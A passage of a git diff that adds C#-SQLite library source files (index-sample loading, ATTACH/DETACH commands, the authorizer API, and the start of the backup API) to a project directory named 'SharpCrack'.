rc = sqlite3_prepare( db, zSql, -1, ref pStmt, 0 ); + sqlite3DbFree( db, ref zSql ); + //} + + if ( rc == SQLITE_OK ) + { + while ( sqlite3_step( pStmt ) == SQLITE_ROW ) + { + string zIndex; /* Index name */ + Index pIdx; /* Pointer to the index object */ + zIndex = sqlite3_column_text( pStmt, 0 ); + pIdx = !String.IsNullOrEmpty( zIndex ) ? sqlite3FindIndex( db, zIndex, sInfo.zDatabase ) : null; + if ( pIdx != null ) + { + int iSample = sqlite3_column_int( pStmt, 1 ); + if ( iSample < SQLITE_INDEX_SAMPLES && iSample >= 0 ) + { + int eType = sqlite3_column_type( pStmt, 2 ); + + if ( pIdx.aSample == null ) + { + //static const int sz = sizeof(IndexSample)*SQLITE_INDEX_SAMPLES; + //pIdx->aSample = (IndexSample )sqlite3DbMallocRaw(0, sz); + //if( pIdx.aSample==0 ){ + //db.mallocFailed = 1; + //break; + //} + pIdx.aSample = new IndexSample[SQLITE_INDEX_SAMPLES];//memset(pIdx->aSample, 0, sz); + } + + //Debug.Assert( pIdx.aSample != null ); + if ( pIdx.aSample[iSample] == null ) + pIdx.aSample[iSample] = new IndexSample(); + IndexSample pSample = pIdx.aSample[iSample]; + { + pSample.eType = (u8)eType; + if ( eType == SQLITE_INTEGER || eType == SQLITE_FLOAT ) + { + pSample.u.r = sqlite3_column_double( pStmt, 2 ); + } + else if ( eType == SQLITE_TEXT || eType == SQLITE_BLOB ) + { + string z = null; + byte[] zBLOB = null; + //string z = (string )( + //(eType==SQLITE_BLOB) ? + //sqlite3_column_blob(pStmt, 2): + //sqlite3_column_text(pStmt, 2) + //); + if ( eType == SQLITE_BLOB ) + zBLOB = sqlite3_column_blob( pStmt, 2 ); + else + z = sqlite3_column_text( pStmt, 2 ); + int n = sqlite3_column_bytes( pStmt, 2 ); + if ( n > 24 ) + { + n = 24; + } + pSample.nByte = (u8)n; + if ( n < 1 ) + { + pSample.u.z = null; + pSample.u.zBLOB = null; + } + else + { + pSample.u.z = z; + pSample.u.zBLOB = zBLOB; + //pSample->u.z = sqlite3DbMallocRaw(dbMem, n); + //if( pSample->u.z ){ + // memcpy(pSample->u.z, z, n); + //}else{ + // db->mallocFailed = 1; + // break; + //} + } + } + } + } + } + } + rc = sqlite3_finalize( pStmt ); + } + } +#endif + + //if( rc==SQLITE_NOMEM ){ + // db.mallocFailed = 1; + //} + return rc; +} + +#endif // * SQLITE_OMIT_ANALYZE */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/attach_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/attach_c.cs new file mode 100644 index 0000000..fc3cf46 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/attach_c.cs @@ -0,0 +1,666 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { +/* +** 2003 April 6 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file contains code used to implement the ATTACH and DETACH commands. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 +** +************************************************************************* +*/ +//#include "sqliteInt.h" + +#if !SQLITE_OMIT_ATTACH +/* +** Resolve an expression that was part of an ATTACH or DETACH statement. This +** is slightly different from resolving a normal SQL expression, because simple +** identifiers are treated as strings, not possible column names or aliases. +** +** i.e. if the parser sees: +** +** ATTACH DATABASE abc AS def +** +** it treats the two expressions as literal strings 'abc' and 'def' instead of +** looking for columns of the same name. +** +** This only applies to the root node of pExpr, so the statement: +** +** ATTACH DATABASE abc||def AS 'db2' +** +** will fail because neither abc or def can be resolved. +*/ +static int resolveAttachExpr( NameContext pName, Expr pExpr ) +{ + int rc = SQLITE_OK; + if ( pExpr != null ) + { + if ( pExpr.op != TK_ID ) + { + rc = sqlite3ResolveExprNames( pName, ref pExpr ); + if ( rc == SQLITE_OK && sqlite3ExprIsConstant( pExpr ) == 0 ) + { + sqlite3ErrorMsg( pName.pParse, "invalid name: \"%s\"", pExpr.u.zToken ); + return SQLITE_ERROR; + } + } + else + { + pExpr.op = TK_STRING; + } + } + return rc; +} + +/* +** An SQL user-function registered to do the work of an ATTACH statement. The +** three arguments to the function come directly from an attach statement: +** +** ATTACH DATABASE x AS y KEY z +** +** SELECT sqlite_attach(x, y, z) +** +** If the optional "KEY z" syntax is omitted, an SQL NULL is passed as the +** third argument. +*/ +static void attachFunc( +sqlite3_context context, +int NotUsed, +sqlite3_value[] argv +) +{ + int i; + int rc = 0; + sqlite3 db = sqlite3_context_db_handle( context ); + string zName; + string zFile; + string zPath = ""; + string zErr = ""; + int flags; + + Db aNew = null; + string zErrDyn = ""; + sqlite3_vfs pVfs = null; + + UNUSED_PARAMETER( NotUsed ); + + zFile = argv[0].z != null && ( argv[0].z.Length > 0 ) && argv[0].flags != MEM_Null ? sqlite3_value_text( argv[0] ) : ""; + zName = argv[1].z != null && ( argv[1].z.Length > 0 ) && argv[1].flags != MEM_Null ? sqlite3_value_text( argv[1] ) : ""; + //if( zFile==null ) zFile = ""; + //if ( zName == null ) zName = ""; + + + /* Check for the following errors: + ** + ** * Too many attached databases, + ** * Transaction currently open + ** * Specified database name already being used. + */ + if ( db.nDb >= db.aLimit[SQLITE_LIMIT_ATTACHED] + 2 ) + { + zErrDyn = sqlite3MPrintf( db, "too many attached databases - max %d", + db.aLimit[SQLITE_LIMIT_ATTACHED] + ); + goto attach_error; + } + if ( 0 == db.autoCommit ) + { + zErrDyn = sqlite3MPrintf( db, "cannot ATTACH database within transaction" ); + goto attach_error; + } + for ( i = 0; i < db.nDb; i++ ) + { + string z = db.aDb[i].zName; + Debug.Assert( z != null && zName != null ); + if ( z.Equals( zName, StringComparison.InvariantCultureIgnoreCase ) ) + { + zErrDyn = sqlite3MPrintf( db, "database %s is already in use", zName ); + goto attach_error; + } + } + + /* Allocate the new entry in the db.aDb[] array and initialise the schema + ** hash tables. + */ + /* Allocate the new entry in the db.aDb[] array and initialise the schema + ** hash tables. + */ + //if( db.aDb==db.aDbStatic ){ + // aNew = sqlite3DbMallocRaw(db, sizeof(db.aDb[0])*3 ); + // if( aNew==0 ) return; + // memcpy(aNew, db.aDb, sizeof(db.aDb[0])*2); + //}else { + if ( db.aDb.Length <= db.nDb ) + Array.Resize( ref db.aDb, db.nDb + 1 );//aNew = sqlite3DbRealloc(db, db.aDb, sizeof(db.aDb[0])*(db.nDb+1) ); + if ( db.aDb == null ) + return; // if( aNew==0 ) return; + //} + db.aDb[db.nDb] = new Db();//db.aDb = aNew; + aNew = db.aDb[db.nDb];//memset(aNew, 0, sizeof(*aNew)); + // memset(aNew, 0, sizeof(*aNew)); + + /* Open the database file. If the btree is successfully opened, use + ** it to obtain the database schema. At this point the schema may + ** or may not be initialised. + */ + flags = (int)db.openFlags; + rc = sqlite3ParseUri( db.pVfs.zName, zFile, ref flags, ref pVfs, ref zPath, ref zErr ); + if ( rc != SQLITE_OK ) + { + //if ( rc == SQLITE_NOMEM ) + //db.mallocFailed = 1; + sqlite3_result_error( context, zErr, -1 ); + //sqlite3_free( zErr ); + return; + } + Debug.Assert( pVfs != null); + flags |= SQLITE_OPEN_MAIN_DB; + rc = sqlite3BtreeOpen( pVfs, zPath, db, ref aNew.pBt, 0, (int)flags ); + //sqlite3_free( zPath ); + + db.nDb++; + if ( rc == SQLITE_CONSTRAINT ) + { + rc = SQLITE_ERROR; + zErrDyn = sqlite3MPrintf( db, "database is already attached" ); + } + else if ( rc == SQLITE_OK ) + { + Pager pPager; + aNew.pSchema = sqlite3SchemaGet( db, aNew.pBt ); + //if ( aNew.pSchema == null ) + //{ + // rc = SQLITE_NOMEM; + //} + //else + if ( aNew.pSchema.file_format != 0 && aNew.pSchema.enc != ENC( db ) ) + { + zErrDyn = sqlite3MPrintf( db, + "attached databases must use the same text encoding as main database" ); + rc = SQLITE_ERROR; + } + pPager = sqlite3BtreePager( aNew.pBt ); + sqlite3PagerLockingMode( pPager, db.dfltLockMode ); + sqlite3BtreeSecureDelete( aNew.pBt, + sqlite3BtreeSecureDelete( db.aDb[0].pBt, -1 ) ); + } + aNew.safety_level = 3; + aNew.zName = zName;//sqlite3DbStrDup(db, zName); + //if( rc==SQLITE_OK && aNew.zName==0 ){ + // rc = SQLITE_NOMEM; + //} + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + if ( rc == SQLITE_OK ) + { + //extern int sqlite3CodecAttach(sqlite3*, int, const void*, int); + //extern void sqlite3CodecGetKey(sqlite3*, int, void**, int*); + int nKey; + string zKey; + int t = sqlite3_value_type( argv[2] ); + switch ( t ) + { + case SQLITE_INTEGER: + case SQLITE_FLOAT: + zErrDyn = "Invalid key value"; //sqlite3DbStrDup( db, "Invalid key value" ); + rc = SQLITE_ERROR; + break; + + case SQLITE_TEXT: + case SQLITE_BLOB: + nKey = sqlite3_value_bytes( argv[2] ); + zKey = sqlite3_value_blob( argv[2] ).ToString(); // (char *)sqlite3_value_blob(argv[2]); + rc = sqlite3CodecAttach( db, db.nDb - 1, zKey, nKey ); + break; + + case SQLITE_NULL: + /* No key specified. Use the key from the main database */ + sqlite3CodecGetKey( db, 0, out zKey, out nKey ); //sqlite3CodecGetKey(db, 0, (void**)&zKey, nKey); + if ( nKey > 0 || sqlite3BtreeGetReserve( db.aDb[0].pBt ) > 0 ) + { + rc = sqlite3CodecAttach( db, db.nDb - 1, zKey, nKey ); + } + break; + } + } +#endif + + /* If the file was opened successfully, read the schema for the new database. +** If this fails, or if opening the file failed, then close the file and +** remove the entry from the db.aDb[] array. i.e. put everything back the way +** we found it. +*/ + if ( rc == SQLITE_OK ) + { + sqlite3BtreeEnterAll( db ); + rc = sqlite3Init( db, ref zErrDyn ); + sqlite3BtreeLeaveAll( db ); + } + if ( rc != 0 ) + { + int iDb = db.nDb - 1; + Debug.Assert( iDb >= 2 ); + if ( db.aDb[iDb].pBt != null ) + { + sqlite3BtreeClose( ref db.aDb[iDb].pBt ); + db.aDb[iDb].pBt = null; + db.aDb[iDb].pSchema = null; + } + sqlite3ResetInternalSchema( db, -1 ); + db.nDb = iDb; + if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + { + //// db.mallocFailed = 1; + sqlite3DbFree( db, ref zErrDyn ); + zErrDyn = sqlite3MPrintf( db, "out of memory" ); + } + else if ( zErrDyn == "" ) + { + zErrDyn = sqlite3MPrintf( db, "unable to open database: %s", zFile ); + } + goto attach_error; + } + + return; + +attach_error: + /* Return an error if we get here */ + if ( zErrDyn != "" ) + { + sqlite3_result_error( context, zErrDyn, -1 ); + sqlite3DbFree( db, ref zErrDyn ); + } + if ( rc != 0 ) + sqlite3_result_error_code( context, rc ); +} + +/* +** An SQL user-function registered to do the work of an DETACH statement. The +** three arguments to the function come directly from a detach statement: +** +** DETACH DATABASE x +** +** SELECT sqlite_detach(x) +*/ +static void detachFunc( +sqlite3_context context, +int NotUsed, +sqlite3_value[] argv +) +{ + string zName = zName = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : "";//(sqlite3_value_text(argv[0]); + sqlite3 db = sqlite3_context_db_handle( context ); + int i; + Db pDb = null; + StringBuilder zErr = new StringBuilder( 200 ); + + UNUSED_PARAMETER( NotUsed ); + + if ( zName == null ) + zName = ""; + for ( i = 0; i < db.nDb; i++ ) + { + pDb = db.aDb[i]; + if ( pDb.pBt == null ) + continue; + if ( pDb.zName.Equals( zName, StringComparison.InvariantCultureIgnoreCase ) ) + break; + } + + if ( i >= db.nDb ) + { + sqlite3_snprintf( 200, zErr, "no such database: %s", zName ); + goto detach_error; + } + if ( i < 2 ) + { + sqlite3_snprintf( 200, zErr, "cannot detach database %s", zName ); + goto detach_error; + } + if ( 0 == db.autoCommit ) + { + sqlite3_snprintf( 200, zErr, + "cannot DETACH database within transaction" ); + goto detach_error; + } + if ( sqlite3BtreeIsInReadTrans( pDb.pBt ) || sqlite3BtreeIsInBackup( pDb.pBt ) ) + { + sqlite3_snprintf( 200, zErr, "database %s is locked", zName ); + goto detach_error; + } + + sqlite3BtreeClose( ref pDb.pBt ); + pDb.pBt = null; + pDb.pSchema = null; + sqlite3ResetInternalSchema( db, -1 ); + return; + +detach_error: + sqlite3_result_error( context, zErr.ToString(), -1 ); +} + +/* +** This procedure generates VDBE code for a single invocation of either the +** sqlite_detach() or sqlite_attach() SQL user functions. +*/ +static void codeAttach( +Parse pParse, /* The parser context */ +int type, /* Either SQLITE_ATTACH or SQLITE_DETACH */ +FuncDef pFunc, /* FuncDef wrapper for detachFunc() or attachFunc() */ +Expr pAuthArg, /* Expression to pass to authorization callback */ +Expr pFilename, /* Name of database file */ +Expr pDbname, /* Name of the database to use internally */ +Expr pKey /* Database key for encryption extension */ +) +{ + int rc; + NameContext sName; + Vdbe v; + sqlite3 db = pParse.db; + int regArgs; + + sName = new NameContext();// memset( &sName, 0, sizeof(NameContext)); + sName.pParse = pParse; + + if ( + SQLITE_OK != ( rc = resolveAttachExpr( sName, pFilename ) ) || + SQLITE_OK != ( rc = resolveAttachExpr( sName, pDbname ) ) || + SQLITE_OK != ( rc = resolveAttachExpr( sName, pKey ) ) + ) + { + pParse.nErr++; + goto attach_end; + } + +#if NO_SQLITE_OMIT_AUTHORIZATION +if( pAuthArg ){ +char *zAuthArg; +if( pAuthArg->op==TK_STRING ){ + zAuthArg = pAuthArg->u.zToken; +}else{ + zAuthArg = 0; +} +rc = sqlite3AuthCheck(pParse, type, zAuthArg, 0, 0); +if(rc!=SQLITE_OK ){ +goto attach_end; +} +} +#endif //* SQLITE_OMIT_AUTHORIZATION */ + + v = sqlite3GetVdbe( pParse ); + regArgs = sqlite3GetTempRange( pParse, 4 ); + sqlite3ExprCode( pParse, pFilename, regArgs ); + sqlite3ExprCode( pParse, pDbname, regArgs + 1 ); + sqlite3ExprCode( pParse, pKey, regArgs + 2 ); + + Debug.Assert( v != null /*|| db.mallocFailed != 0 */ ); + if ( v != null ) + { + sqlite3VdbeAddOp3( v, OP_Function, 0, regArgs + 3 - pFunc.nArg, regArgs + 3 ); + Debug.Assert( pFunc.nArg == -1 || ( pFunc.nArg & 0xff ) == pFunc.nArg ); + sqlite3VdbeChangeP5( v, (u8)( pFunc.nArg ) ); + sqlite3VdbeChangeP4( v, -1, pFunc, P4_FUNCDEF ); + + /* Code an OP_Expire. For an ATTACH statement, set P1 to true (expire this + ** statement only). For DETACH, set it to false (expire all existing + ** statements). + */ + sqlite3VdbeAddOp1( v, OP_Expire, ( type == SQLITE_ATTACH ) ? 1 : 0 ); + } + +attach_end: + sqlite3ExprDelete( db, ref pFilename ); + sqlite3ExprDelete( db, ref pDbname ); + sqlite3ExprDelete( db, ref pKey ); +} + +/* +** Called by the parser to compile a DETACH statement. +** +** DETACH pDbname +*/ +static FuncDef detach_func = new FuncDef( +1, /* nArg */ +SQLITE_UTF8, /* iPrefEnc */ +0, /* flags */ +null, /* pUserData */ +null, /* pNext */ +detachFunc, /* xFunc */ +null, /* xStep */ +null, /* xFinalize */ +"sqlite_detach", /* zName */ +null, /* pHash */ +null /* pDestructor */ +); +static void sqlite3Detach( Parse pParse, Expr pDbname ) +{ + codeAttach( pParse, SQLITE_DETACH, detach_func, pDbname, null, null, pDbname ); +} + +/* +** Called by the parser to compile an ATTACH statement. +** +** ATTACH p AS pDbname KEY pKey +*/ +static FuncDef attach_func = new FuncDef( +3, /* nArg */ +SQLITE_UTF8, /* iPrefEnc */ +0, /* flags */ +null, /* pUserData */ +null, /* pNext */ +attachFunc, /* xFunc */ +null, /* xStep */ +null, /* xFinalize */ +"sqlite_attach", /* zName */ +null, /* pHash */ +null /* pDestructor */ +); +static void sqlite3Attach( Parse pParse, Expr p, Expr pDbname, Expr pKey ) +{ + codeAttach( pParse, SQLITE_ATTACH, attach_func, p, p, pDbname, pKey ); +} +#endif // * SQLITE_OMIT_ATTACH */ + +/* +** Initialize a DbFixer structure. This routine must be called prior +** to passing the structure to one of the sqliteFixAAAA() routines below. +** +** The return value indicates whether or not fixation is required. TRUE +** means we do need to fix the database references, FALSE means we do not. +*/ +static int sqlite3FixInit( +DbFixer pFix, /* The fixer to be initialized */ +Parse pParse, /* Error messages will be written here */ +int iDb, /* This is the database that must be used */ +string zType, /* "view", "trigger", or "index" */ +Token pName /* Name of the view, trigger, or index */ +) +{ + sqlite3 db; + + if ( NEVER( iDb < 0 ) || iDb == 1 ) + return 0; + db = pParse.db; + Debug.Assert( db.nDb > iDb ); + pFix.pParse = pParse; + pFix.zDb = db.aDb[iDb].zName; + pFix.zType = zType; + pFix.pName = pName; + return 1; +} + +/* +** The following set of routines walk through the parse tree and assign +** a specific database to all table references where the database name +** was left unspecified in the original SQL statement. The pFix structure +** must have been initialized by a prior call to sqlite3FixInit(). +** +** These routines are used to make sure that an index, trigger, or +** view in one database does not refer to objects in a different database. +** (Exception: indices, triggers, and views in the TEMP database are +** allowed to refer to anything.) If a reference is explicitly made +** to an object in a different database, an error message is added to +** pParse.zErrMsg and these routines return non-zero. If everything +** checks out, these routines return 0. +*/ +static int sqlite3FixSrcList( +DbFixer pFix, /* Context of the fixation */ +SrcList pList /* The Source list to check and modify */ +) +{ + int i; + string zDb; + SrcList_item pItem; + + if ( NEVER( pList == null ) ) + return 0; + zDb = pFix.zDb; + for ( i = 0; i < pList.nSrc; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + if ( pItem.zDatabase == null ) + { + pItem.zDatabase = zDb;// sqlite3DbStrDup( pFix.pParse.db, zDb ); + } + else if ( !pItem.zDatabase.Equals( zDb ,StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3ErrorMsg( pFix.pParse, + "%s %T cannot reference objects in database %s", + pFix.zType, pFix.pName, pItem.zDatabase ); + return 1; + } +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER + if ( sqlite3FixSelect( pFix, pItem.pSelect ) != 0 ) + return 1; + if ( sqlite3FixExpr( pFix, pItem.pOn ) != 0 ) + return 1; +#endif + } + return 0; +} +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER +static int sqlite3FixSelect( +DbFixer pFix, /* Context of the fixation */ +Select pSelect /* The SELECT statement to be fixed to one database */ +) +{ + while ( pSelect != null ) + { + if ( sqlite3FixExprList( pFix, pSelect.pEList ) != 0 ) + { + return 1; + } + if ( sqlite3FixSrcList( pFix, pSelect.pSrc ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pSelect.pWhere ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pSelect.pHaving ) != 0 ) + { + return 1; + } + pSelect = pSelect.pPrior; + } + return 0; +} +static int sqlite3FixExpr( +DbFixer pFix, /* Context of the fixation */ +Expr pExpr /* The expression to be fixed to one database */ +) +{ + while ( pExpr != null ) + { + if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) + break; + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + if ( sqlite3FixSelect( pFix, pExpr.x.pSelect ) != 0 ) + return 1; + } + else + { + if ( sqlite3FixExprList( pFix, pExpr.x.pList ) != 0 ) + return 1; + } + if ( sqlite3FixExpr( pFix, pExpr.pRight ) != 0 ) + { + return 1; + } + pExpr = pExpr.pLeft; + } + return 0; +} +static int sqlite3FixExprList( +DbFixer pFix, /* Context of the fixation */ +ExprList pList /* The expression to be fixed to one database */ +) +{ + int i; + ExprList_item pItem; + if ( pList == null ) + return 0; + for ( i = 0; i < pList.nExpr; i++ )//, pItem++ ) + { + pItem = pList.a[i]; + if ( sqlite3FixExpr( pFix, pItem.pExpr ) != 0 ) + { + return 1; + } + } + return 0; +} +#endif + +#if !SQLITE_OMIT_TRIGGER +static int sqlite3FixTriggerStep( +DbFixer pFix, /* Context of the fixation */ +TriggerStep pStep /* The trigger step be fixed to one database */ +) +{ + while ( pStep != null ) + { + if ( sqlite3FixSelect( pFix, pStep.pSelect ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pStep.pWhere ) != 0 ) + { + return 1; + } + if ( sqlite3FixExprList( pFix, pStep.pExprList ) != 0 ) + { + return 1; + } + pStep = pStep.pNext; + } + return 0; +} +#endif + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/auth_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/auth_c.cs new file mode 100644 index 0000000..3a88352 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/auth_c.cs @@ -0,0 +1,267 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { +/* +** 2003 January 11 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file contains code used to implement the sqlite3_set_authorizer() +** API. This facility is an optional feature of the library. Embedded +** systems that do not need this facility may omit it by recompiling +** the library with -DSQLITE_OMIT_AUTHORIZATION=1 +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 +** +************************************************************************* +*/ +//#include "sqliteInt.h" + +/* +** All of the code in this file may be omitted by defining a single +** macro. +*/ +#if NO_SQLITE_OMIT_AUTHORIZATION + +/* +** Set or clear the access authorization function. +** +** The access authorization function is be called during the compilation +** phase to verify that the user has read and/or write access permission on +** various fields of the database. The first argument to the auth function +** is a copy of the 3rd argument to this routine. The second argument +** to the auth function is one of these constants: +** +** SQLITE_CREATE_INDEX +** SQLITE_CREATE_TABLE +** SQLITE_CREATE_TEMP_INDEX +** SQLITE_CREATE_TEMP_TABLE +** SQLITE_CREATE_TEMP_TRIGGER +** SQLITE_CREATE_TEMP_VIEW +** SQLITE_CREATE_TRIGGER +** SQLITE_CREATE_VIEW +** SQLITE_DELETE +** SQLITE_DROP_INDEX +** SQLITE_DROP_TABLE +** SQLITE_DROP_TEMP_INDEX +** SQLITE_DROP_TEMP_TABLE +** SQLITE_DROP_TEMP_TRIGGER +** SQLITE_DROP_TEMP_VIEW +** SQLITE_DROP_TRIGGER +** SQLITE_DROP_VIEW +** SQLITE_INSERT +** SQLITE_PRAGMA +** SQLITE_READ +** SQLITE_SELECT +** SQLITE_TRANSACTION +** SQLITE_UPDATE +** +** The third and fourth arguments to the auth function are the name of +** the table and the column that are being accessed. The auth function +** should return either SQLITE_OK, SQLITE_DENY, or SQLITE_IGNORE. If +** SQLITE_OK is returned, it means that access is allowed. SQLITE_DENY +** means that the SQL statement will never-run - the sqlite3_exec() call +** will return with an error. SQLITE_IGNORE means that the SQL statement +** should run but attempts to read the specified column will return NULL +** and attempts to write the column will be ignored. +** +** Setting the auth function to NULL disables this hook. The default +** setting of the auth function is NULL. +*/ +int sqlite3_set_authorizer( +sqlite3 db, +int (*xAuth)(void*,int,const char*,const char*,const char*,const char), +void *pArg +){ +sqlite3_mutex_enter(db->mutex); +db->xAuth = xAuth; +db->pAuthArg = pArg; +sqlite3ExpirePreparedStatements(db); +sqlite3_mutex_leave(db->mutex); +return SQLITE_OK; +} + +/* +** Write an error message into pParse->zErrMsg that explains that the +** user-supplied authorization function returned an illegal value. +*/ +static void sqliteAuthBadReturnCode(Parse *pParse){ +sqlite3ErrorMsg(pParse, "authorizer malfunction"); +pParse->rc = SQLITE_ERROR; +} + +/* +** Invoke the authorization callback for permission to read column zCol from +** table zTab in database zDb. This function assumes that an authorization +** callback has been registered (i.e. that sqlite3.xAuth is not NULL). +** +** If SQLITE_IGNORE is returned and pExpr is not NULL, then pExpr is changed +** to an SQL NULL expression. Otherwise, if pExpr is NULL, then SQLITE_IGNORE +** is treated as SQLITE_DENY. In this case an error is left in pParse. +*/ +int sqlite3AuthReadCol( + Parse *pParse, /* The parser context */ + string zTab, /* Table name */ + string zCol, /* Column name */ + int iDb /* Index of containing database. */ +){ + sqlite3 db = pParse->db; /* Database handle */ + string zDb = db->aDb[iDb].zName; /* Name of attached database */ + int rc; /* Auth callback return code */ + + rc = db->xAuth(db->pAuthArg, SQLITE_READ, zTab,zCol,zDb,pParse->zAuthContext); + if( rc==SQLITE_DENY ){ +if( db->nDb>2 || iDb!=0 ){ + sqlite3ErrorMsg(pParse, "access to %s.%s.%s is prohibited",zDb,zTab,zCol); +}else{ + sqlite3ErrorMsg(pParse, "access to %s.%s is prohibited", zTab, zCol); +} +pParse->rc = SQLITE_AUTH; + }else if( rc!=SQLITE_IGNORE && rc!=SQLITE_OK ){ +sqliteAuthBadReturnCode(pParse); + } + return rc; +} + +/* +** The pExpr should be a TK_COLUMN expression. The table referred to +** is in pTabList or else it is the NEW or OLD table of a trigger. +** Check to see if it is OK to read this particular column. +** +** If the auth function returns SQLITE_IGNORE, change the TK_COLUMN +** instruction into a TK_NULL. If the auth function returns SQLITE_DENY, +** then generate an error. +*/ +void sqlite3AuthRead( +Parse *pParse, /* The parser context */ +Expr *pExpr, /* The expression to check authorization on */ +Schema *pSchema, /* The schema of the expression */ +SrcList *pTabList /* All table that pExpr might refer to */ +){ +sqlite3 db = pParse->db; +Table *pTab = 0; /* The table being read */ +string zCol; /* Name of the column of the table */ +int iSrc; /* Index in pTabList->a[] of table being read */ +int iDb; /* The index of the database the expression refers to */ +int iCol; /* Index of column in table */ + +if( db->xAuth==0 ) return; +iDb = sqlite3SchemaToIndex(pParse->db, pSchema); +if( iDb<0 ){ +/* An attempt to read a column out of a subquery or other +** temporary table. */ +return; +} + Debug.Assert( pExpr->op==TK_COLUMN || pExpr->op==TK_TRIGGER ); + if( pExpr->op==TK_TRIGGER ){ +pTab = pParse->pTriggerTab; + }else{ +Debug.Assert( pTabList ); +for(iSrc=0; ALWAYS(iSrcnSrc); iSrc++){ + if( pExpr->iTable==pTabList->a[iSrc].iCursor ){ + pTab = pTabList->a[iSrc].pTab; + break; + } +} + } + iCol = pExpr->iColumn; + if( NEVER(pTab==0) ) return; + + if( iCol>=0 ){ +Debug.Assert( iColnCol ); +zCol = pTab->aCol[iCol].zName; + }else if( pTab->iPKey>=0 ){ +Debug.Assert( pTab->iPKeynCol ); +zCol = pTab->aCol[pTab->iPKey].zName; +}else{ +zCol = "ROWID"; +} +Debug.Assert( iDb>=0 && iDbnDb ); + if( SQLITE_IGNORE==sqlite3AuthReadCol(pParse, pTab->zName, zCol, iDb) ){ +pExpr->op = TK_NULL; +} +} + +/* +** Do an authorization check using the code and arguments given. Return +** either SQLITE_OK (zero) or SQLITE_IGNORE or SQLITE_DENY. If SQLITE_DENY +** is returned, then the error count and error message in pParse are +** modified appropriately. +*/ +int sqlite3AuthCheck( +Parse *pParse, +int code, +string zArg1, +string zArg2, +string zArg3 +){ +sqlite3 db = pParse->db; +int rc; + +/* Don't do any authorization checks if the database is initialising +** or if the parser is being invoked from within sqlite3_declare_vtab. +*/ +if( db->init.busy || IN_DECLARE_VTAB ){ +return SQLITE_OK; +} + +if( db->xAuth==0 ){ +return SQLITE_OK; +} +rc = db->xAuth(db->pAuthArg, code, zArg1, zArg2, zArg3, pParse->zAuthContext); +if( rc==SQLITE_DENY ){ +sqlite3ErrorMsg(pParse, "not authorized"); +pParse->rc = SQLITE_AUTH; +}else if( rc!=SQLITE_OK && rc!=SQLITE_IGNORE ){ +rc = SQLITE_DENY; +sqliteAuthBadReturnCode(pParse); +} +return rc; +} + +/* +** Push an authorization context. After this routine is called, the +** zArg3 argument to authorization callbacks will be zContext until +** popped. Or if pParse==0, this routine is a no-op. +*/ +void sqlite3AuthContextPush( +Parse *pParse, +AuthContext *pContext, +string zContext +){ +Debug.Assert( pParse ); +pContext->pParse = pParse; +pContext->zAuthContext = pParse->zAuthContext; +pParse->zAuthContext = zContext; +} + +/* +** Pop an authorization context that was previously pushed +** by sqlite3AuthContextPush +*/ +void sqlite3AuthContextPop(AuthContext *pContext){ +if( pContext->pParse ){ +pContext->pParse->zAuthContext = pContext->zAuthContext; +pContext->pParse = 0; +} +} + +#endif //* SQLITE_OMIT_AUTHORIZATION */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/backup_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/backup_c.cs new file mode 100644 index 0000000..33f0e76 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/backup_c.cs @@ -0,0 +1,818 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + using DbPage = Sqlite3.PgHdr; + public partial class Sqlite3 + { +/* +** 2009 January 28 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file contains the implementation of the sqlite3_backup_XXX() +** API functions and the related features. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-05-19 